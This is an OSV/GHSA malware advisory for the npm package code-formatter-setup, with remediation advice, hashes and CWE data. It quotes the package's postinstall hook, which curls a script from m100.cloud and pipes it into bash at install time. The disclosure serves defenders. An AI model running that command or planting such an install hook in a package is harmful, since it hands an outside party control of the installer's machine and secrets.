MAL-2026-10682

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/code-formatter-setup/MAL-2026-10682.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10682
Aliases
  • GHSA-fr6r-7qpj-x22g
Published
2026-07-15T15:45:12Z
Modified
2026-08-18T17:15:25.627501310Z
Summary
Malicious code in code-formatter-setup (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042)

package.json declares a postinstall lifecycle hook that runs node -e "require('child_process').execSync('curl -s https://m100.cloud/setup | bash')", fetching an unpinned, unverified shell script from https://m100.cloud/setup and executing it via bash on the installer's host at npm install time. The destination is not a publisher-matched or registry-hosted artifact, and there is no native build source or integrity check accompanying the fetch. Whatever bytes m100.cloud returns at install time run with the privileges of the user performing the install.

Source: ghsa-malware (9a85e1b43b0255a4d17cb61cd53ec4a51007386c177d6f54e9ebde5d1323e002)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-07-15T15:45:12Z",
            "sha256": "29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042",
            "versions": [
                "1.0.0"
            ],
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-010683",
            "import_time": "2026-07-15T16:34:36.255019957Z"
        },
        {
            "sha256": "9a85e1b43b0255a4d17cb61cd53ec4a51007386c177d6f54e9ebde5d1323e002",
            "source": "ghsa-malware",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "modified_time": "2026-08-18T15:45:24Z",
            "id": "GHSA-fr6r-7qpj-x22g",
            "import_time": "2026-08-18T16:29:04.464286235Z"
        }
    ]
}
References
Credits

Affected packages

npm / code-formatter-setup

Package

Name
code-formatter-setup
View open source insights on deps.dev
Purl
pkg:npm/code-formatter-setup

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/code-formatter-setup/MAL-2026-10682.json"
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "e6cd79edd8ecf365777f5da7ff97fcc877f6d345a09b17befc8ea099edd4e49f",
            "tlsh": "5df09931cc195a7326c6029d98935041be2b260b0a04ac09e793017c878ea364abe35f"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha1": "6cdc6a96c2a8a52410f43df980332cc1c44ea12a",
                "sha512_sri": "sha512-peWvRYrU7CdChErotDJbc8voB3RE93KzMq8xvx1l0b6EOE5AW0OujRT04IjRDjOz1BxlUixupMU9zww1/NlZ2w=="
            },
            "filename": "code-formatter-setup-1.0.0.tgz"
        }
    ]
}